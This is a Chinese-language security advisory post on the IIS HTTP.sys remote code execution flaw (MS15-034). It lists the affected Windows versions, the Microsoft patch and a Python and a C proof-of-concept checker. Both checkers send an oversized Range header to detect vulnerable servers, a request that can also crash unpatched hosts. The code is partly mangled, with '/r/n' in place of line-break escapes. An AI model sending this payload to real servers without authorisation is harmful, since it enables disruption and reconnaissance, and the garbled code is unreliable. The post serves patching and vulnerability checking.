【看上去很美,实用性不强】IIS远程执行代码漏洞
在微软4月14日补丁日发布的补丁中,有一个针对IIS服务器的远程代码执行漏洞危害非常大,请广大用户注意。
漏洞信息
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。 通过修改 Windows HTTP 堆栈处理请求的方式,安装更新可以修复此漏洞。
危害评级
严重
影响范围
影响以下版本操作系统的IIS服务器
Windows 7
Windows 8
Windows server 2008
Windows server 2012
修复方法
目前微软官方已经给出修复补丁(3042553),用户安装修复补丁即可。
参考
https://technet.microsoft.com/zh-CN/library/security/ms15-034.aspx
https://support.microsoft.com/zh-cn/kb/3042553
附测试POC
注:此python脚本可验证服务器是否存在漏洞,但并没有经过充分的测试,不排除会产生不可预知的后果,请谨慎使用!
import socket import random ipAddr = "" hexAllFfff = "18446744073709551615" req1 = "GET / HTTP/1.0/r/n/r/n" req = "GET / HTTP/1.1/r/nHost: stuff/r/nRange: bytes=0-" + hexAllFfff + "/r/n/r/n" print "[*] Audit Started" client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80)) client_socket.send(req1) boringResp = client_socket.recv(1024) if "Microsoft" not in boringResp: print "[*] Not IIS" exit(0) client_socket.close() client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80)) client_socket.send(req) goodResp = client_socket.recv(1024) if "Requested Range Not Satisfiable" in goodResp: print "[!!] Looks VULN" elif " The request has an invalid header name" in goodResp: print "[*] Looks Patched" else: print "[*] Unexpected response, cannot discern patch status"
Microsoft Window - HTTP.sys PoC (MS15-034)
/*
UNTESTED - MS15-034 Checker
THE BUG:
8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here
ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4
BY: john.b.hale@gmai.com
Twitter: @rhcp011235
*/
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>
int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;
struct sockaddr_in serv_addr;
struct hostent *server;
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("/n Error : Could not create socket /n");
return 1;
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("/n inet_pton error occured/n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("/n Error : Connect Failed /n");
return 1;
}
return sockfd;
}
int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];
// Check server
char request[] = "GET / HTTP/1.0/r/n/r/n";
// our evil buffer
char request1[] = "GET / HTTP/1.1/r/nHost: stuff/r/nRange: bytes=0-18446744073709551615/r/n/r/n";
if(argc != 2)
{
printf("/n Usage: %s <ip of server> /n",argv[0]);
return 1;
}
printf("[*] Audit Started/n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS/n");
exit(1);
}
sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN/n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");
}
华盟君